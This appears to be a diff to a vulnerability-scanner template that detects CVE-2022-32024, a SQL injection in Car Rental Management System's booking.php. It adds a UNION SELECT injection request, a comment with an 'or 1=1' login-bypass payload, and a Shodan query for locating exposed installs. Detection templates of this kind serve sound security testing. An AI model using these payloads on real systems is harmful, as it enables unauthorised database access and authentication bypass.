Update CVE-2022-32024.yaml

cves/2022/CVE-2022-32024.yaml

@@ -7,25 +7,36 @@ info:
   description: |
     Car Rental Management System v1.0 is vulnerable to SQL Injection via /booking.php?car_id=.
   reference:
-    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32024
+    - https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/car-rental-management-system/SQLi-4.md
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-32024
   metadata:
+    verified: true
     shodan-query: http.html:"Car Rental Management System"
-    verified: "true"
-  tags: sql,cve,cms,2022
+  tags: cve,cve2022,carrental,cms,sqli,authenticated
+
+variables:
+  num: "999999999"
 
 requests:
   - raw:
+# Login bypass possible using a payload: admin'+or+'1'%3D'1' in username.
       - |
-        GET /booking.php?car_id=-1%20union%20select%201,database(),3,4,5,6,7,8,9,10--+ HTTP/1.1
+        POST /admin/ajax.php?action=login HTTP/1.1
         Host: {{Hostname}}
         Content-Type: application/x-www-form-urlencoded
+        username={{username}}&password={{password}}
 
+      - |
+        GET /booking.php?car_id=-1%20union%20select%201,md5({{num}}),3,4,5,6,7,8,9,10--+ HTTP/1.1
+        Host: {{Hostname}}
+
+    cookie-reuse: true
     matchers-condition: and
     matchers:
       - type: word
         part: body
         words:
-          - 'car_rental_db'
+          - '{{md5({{num}})}}'
 
       - type: status
         status: